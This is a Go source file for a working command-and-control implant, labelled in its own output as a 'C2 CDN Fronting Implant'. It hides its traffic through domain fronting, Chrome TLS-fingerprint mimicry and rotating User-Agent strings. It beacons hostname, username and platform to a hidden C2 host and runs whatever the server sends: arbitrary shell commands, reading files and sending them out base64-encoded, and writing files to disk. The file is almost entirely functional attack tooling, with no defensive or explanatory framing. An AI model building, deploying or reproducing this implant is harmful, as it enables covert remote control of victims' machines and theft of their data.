package main import ( "bytes" "context" "crypto/rand" "encoding/base64" "encoding/json" "flag" "fmt" "crypto/tls" "net" "net/http" "os" "os/exec" "os/signal" "runtime" "strings" "sync" "syscall" "time" utls "github.com/refraction-networking/utls" ) // ============================================================ // Data structures (mirrors the server) // ============================================================ type Command struct { ID string `json:"id"` Type string `json:"type"` Payload string `json:"payload"` Status string `json:"status,omitempty"` Result string `json:"result,omitempty"` } type BeaconReq struct { ClientID string `json:"client_id"` Hostname string `json:"hostname,omitempty"` Username string `json:"username,omitempty"` Platform string `json:"platform,omitempty"` } type BeaconResp struct { Commands []Command `json:"commands,omitempty"` BeaconInterval int `json:"beacon_interval,omitempty"` } type ResultReq struct { ClientID string `json:"client_id"` CommandID string `json:"command_id"` Output string `json:"output"` Status string `json:"status"` } // ============================================================ // Globals // ============================================================ var ( cdnURL string // e.g. https://front-cdn.example.com frontDomain string // SNI domain (what the TLS handshake shows) c2HostHeader string // Hidden C2 domain (Host header) clientID string beaconInt = 30 // default seconds between beacons clientIDPath string verbose bool ) // ============================================================ // ID generation for client persistence // ============================================================ func loadOrCreateID(path string) string { if data, err := os.ReadFile(path); err == nil && len(data) > 0 { return strings.TrimSpace(string(data)) } b := make([]byte, 8) if _, err := rand.Read(b); err != nil { panic("failed to generate client ID: " + err.Error()) } const hex = "0123456789abcdef" out := make([]byte, 16) for i, v := range b { out[i*2] = hex[v>>4] out[i*2+1] = hex[v&0x0f] } id := string(out) os.MkdirAll(dirName(path), 0700) os.WriteFile(path, []byte(id+"\n"), 0600) return id } func dirName(p string) string { idx := strings.LastIndex(p, "/") if idx == -1 { return "." } return p[:idx] } // ============================================================ // uTLS Dialer // ============================================================ func newUTLSTransport() *http.Transport { return &http.Transport{ DialTLSContext: func(ctx context.Context, network, addr string) (net.Conn, error) { dialer := &net.Dialer{ Timeout: 15 * time.Second, } tcpConn, err := dialer.DialContext(ctx, network, addr) if err != nil { return nil, fmt.Errorf("tcp dial: %w", err) } // uTLS config — ServerName is the front domain (SNI) config := &utls.Config{ ServerName: frontDomain, InsecureSkipVerify: false, MinVersion: tls.VersionTLS12, } // Use Chrome auto fingerprint to mimic a real browser uconn := utls.UClient(tcpConn, config, utls.HelloChrome_Auto) if err := uconn.HandshakeContext(ctx); err != nil { tcpConn.Close() return nil, fmt.Errorf("utls handshake: %w", err) } if verbose { state := uconn.ConnectionState() fmt.Printf("[*] TLS version: 0x%04X | cipher: %s\n", state.Version, tls.CipherSuiteName(state.CipherSuite)) if len(state.PeerCertificates) > 0 { fmt.Printf("[*] Server CN: %s\n", state.PeerCertificates[0].Subject.CommonName) } } return uconn, nil }, } } // ============================================================ // HTTP helpers with domain fronting // ============================================================ func frontedPost(client *http.Client, path string, body interface{}) (*http.Response, error) { jsonBody, err := json.Marshal(body) if err != nil { return nil, err } req, err := http.NewRequest("POST", cdnURL+path, bytes.NewReader(jsonBody)) if err != nil { return nil, err } req.Host = c2HostHeader req.Header.Set("Content-Type", "application/json") req.Header.Set("User-Agent", randomUA()) return client.Do(req) } // Return a Chrome-ish User-Agent func randomUA() string { versions := []string{ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", } // Simple rotation based on time return versions[time.Now().Unix()%int64(len(versions))] } // ============================================================ // Command execution // ============================================================ func executeCommand(cmdType, payload string) (string, string) { switch cmdType { case "exec": return execShell(payload) case "upload": return uploadFile(payload) case "download": return downloadFile(payload) case "config": return setConfig(payload) default: return "", fmt.Sprintf("unknown command type: %s", cmdType) } } func execShell(cmd string) (string, string) { shell := "/bin/sh" arg := "-c" if runtime.GOOS == "windows" { shell = "cmd.exe" arg = "/C" } ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) defer cancel() c := exec.CommandContext(ctx, shell, arg, cmd) var stdout, stderr bytes.Buffer c.Stdout = &stdout c.Stderr = &stderr if err := c.Run(); err != nil { if ctx.Err() == context.DeadlineExceeded { return stdout.String(), "[!] command timed out (30s)" } return stdout.String(), stderr.String() } return stdout.String(), stderr.String() } func uploadFile(path string) (string, string) { data, err := os.ReadFile(path) if err != nil { return "", fmt.Sprintf("upload error: %v", err) } encoded := base64.StdEncoding.EncodeToString(data) return fmt.Sprintf("file:%s:%s", path, encoded), "" } func downloadFile(payload string) (string, string) { // payload format: parts := strings.SplitN(payload, " ", 2) if len(parts) != 2 { return "", "download requires: " } path := parts[0] data, err := base64.StdEncoding.DecodeString(parts[1]) if err != nil { return "", fmt.Sprintf("download decode error: %v", err) } if err := os.WriteFile(path, data, 0644); err != nil { return "", fmt.Sprintf("download write error: %v", err) } return fmt.Sprintf("downloaded %d bytes to %s", len(data), path), "" } func setConfig(payload string) (string, string) { parts := strings.SplitN(payload, "=", 2) if len(parts) != 2 { return "", "config requires key=value" } key := strings.TrimSpace(parts[0]) val := strings.TrimSpace(parts[1]) switch key { case "beacon_interval": v, err := fmt.Sscanf(val, "%d", &beaconInt) if err != nil || v != 1 { return "", "invalid beacon_interval (expected int seconds)" } return fmt.Sprintf("beacon_interval set to %ds", beaconInt), "" default: return "", fmt.Sprintf("unknown config key: %s", key) } } // ============================================================ // Beacon loop // ============================================================ func beaconLoop(client *http.Client, wg *sync.WaitGroup, stopCh <-chan struct{}) { defer wg.Done() backoff := time.Second maxBackoff := 60 * time.Second hostname, _ := os.Hostname() username := os.Getenv("USER") if username == "" { username = os.Getenv("USERNAME") } platform := runtime.GOOS + "/" + runtime.GOARCH for { select { case <-stopCh: fmt.Println("[*] Shutting down beacon loop") return default: } // Beacon beaconReq := BeaconReq{ ClientID: clientID, Hostname: hostname, Username: username, Platform: platform, } resp, err := frontedPost(client, "/api/v1/beacon", beaconReq) if err != nil { if verbose { fmt.Printf("[-] Beacon failed: %v (backoff %s)\n", err, backoff) } select { case <-stopCh: return case <-time.After(backoff): } backoff *= 2 if backoff > maxBackoff { backoff = maxBackoff } continue } // Reset backoff on success backoff = time.Second var beaconResp BeaconResp if err := json.NewDecoder(resp.Body).Decode(&beaconResp); err != nil { resp.Body.Close() continue } resp.Body.Close() // Update beacon interval from server if provided if beaconResp.BeaconInterval > 0 { beaconInt = beaconResp.BeaconInterval } // Process commands for _, cmd := range beaconResp.Commands { if verbose { fmt.Printf("[*] Executing command: %s / %s\n", cmd.ID, cmd.Type) } stdout, stderr := executeCommand(cmd.Type, cmd.Payload) output := stdout if stderr != "" { output = stdout + "\n[STDERR]\n" + stderr } if output == "" { output = "[done]" } status := "completed" if stderr != "" { status = "failed" } resultReq := ResultReq{ ClientID: clientID, CommandID: cmd.ID, Output: output, Status: status, } // Send result (best-effort) frontedPost(client, "/api/v1/result", resultReq) } // Sleep until next beacon select { case <-stopCh: return case <-time.After(time.Duration(beaconInt) * time.Second): } } } // ============================================================ // Main // ============================================================ func main() { // Config file support for stealth var configFile string flag.StringVar(&cdnURL, "cdn-url", "", "CDN URL (e.g. https://cdn.example.com)") flag.StringVar(&frontDomain, "front-domain", "", "TLS SNI front domain (e.g. www.google.com)") flag.StringVar(&c2HostHeader, "c2-host-header", "", "Hidden C2 domain for Host header") flag.StringVar(&clientIDPath, "id-file", "", "Path to store persistent client ID") flag.IntVar(&beaconInt, "interval", 30, "Beacon interval in seconds") flag.BoolVar(&verbose, "verbose", false, "Enable verbose output") flag.StringVar(&configFile, "config", "", "Load config from JSON file") flag.Parse() // Load config from file if specified if configFile != "" { data, err := os.ReadFile(configFile) if err != nil { fmt.Fprintf(os.Stderr, "Error reading config: %v\n", err) os.Exit(1) } type fileConfig struct { CDNURL string `json:"cdn_url"` FrontDomain string `json:"front_domain"` C2HostHeader string `json:"c2_host_header"` ClientID string `json:"client_id"` BeaconInt int `json:"beacon_interval"` IDFilePath string `json:"id_file"` } var fc fileConfig if err := json.Unmarshal(data, &fc); err != nil { fmt.Fprintf(os.Stderr, "Error parsing config: %v\n", err) os.Exit(1) } if fc.CDNURL != "" { cdnURL = fc.CDNURL } if fc.FrontDomain != "" { frontDomain = fc.FrontDomain } if fc.C2HostHeader != "" { c2HostHeader = fc.C2HostHeader } if fc.ClientID != "" { clientIDPath = fc.ClientID } if fc.IDFilePath != "" { clientIDPath = fc.IDFilePath } if fc.BeaconInt > 0 { beaconInt = fc.BeaconInt } } // Validate required flags missing := false if cdnURL == "" { fmt.Fprintln(os.Stderr, "Missing: -cdn-url (e.g. https://front-cdn.cloudflare.com)") missing = true } if frontDomain == "" { fmt.Fprintln(os.Stderr, "Missing: -front-domain (e.g. www.google.com)") missing = true } if c2HostHeader == "" { fmt.Fprintln(os.Stderr, "Missing: -c2-host-header (e.g. c2.yourhidden.domain)") missing = true } if missing { flag.Usage() os.Exit(1) } // Ensure CDN URL has scheme if !strings.HasPrefix(cdnURL, "http://") && !strings.HasPrefix(cdnURL, "https://") { cdnURL = "https://" + cdnURL } // Load or create persistent client ID if clientIDPath == "" { clientIDPath = ".c2-client-id" } clientID = loadOrCreateID(clientIDPath) fmt.Printf("[*] C2 CDN Fronting Implant\n") fmt.Printf("[*] Client ID: %s\n", clientID) fmt.Printf("[*] CDN URL: %s\n", cdnURL) fmt.Printf("[*] Front Domain (SNI): %s\n", frontDomain) fmt.Printf("[*] C2 Host Header: %s\n", c2HostHeader) fmt.Printf("[*] Beacon interval: %ds\n", beaconInt) // Create uTLS transport and HTTP client transport := newUTLSTransport() httpClient := &http.Client{ Transport: transport, Timeout: 30 * time.Second, } // Handle shutdown stopCh := make(chan struct{}) sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) var wg sync.WaitGroup wg.Add(1) go beaconLoop(httpClient, &wg, stopCh) // Wait for signal <-sigCh fmt.Println("\n[*] Received shutdown signal") close(stopCh) wg.Wait() fmt.Println("[*] Implant stopped") }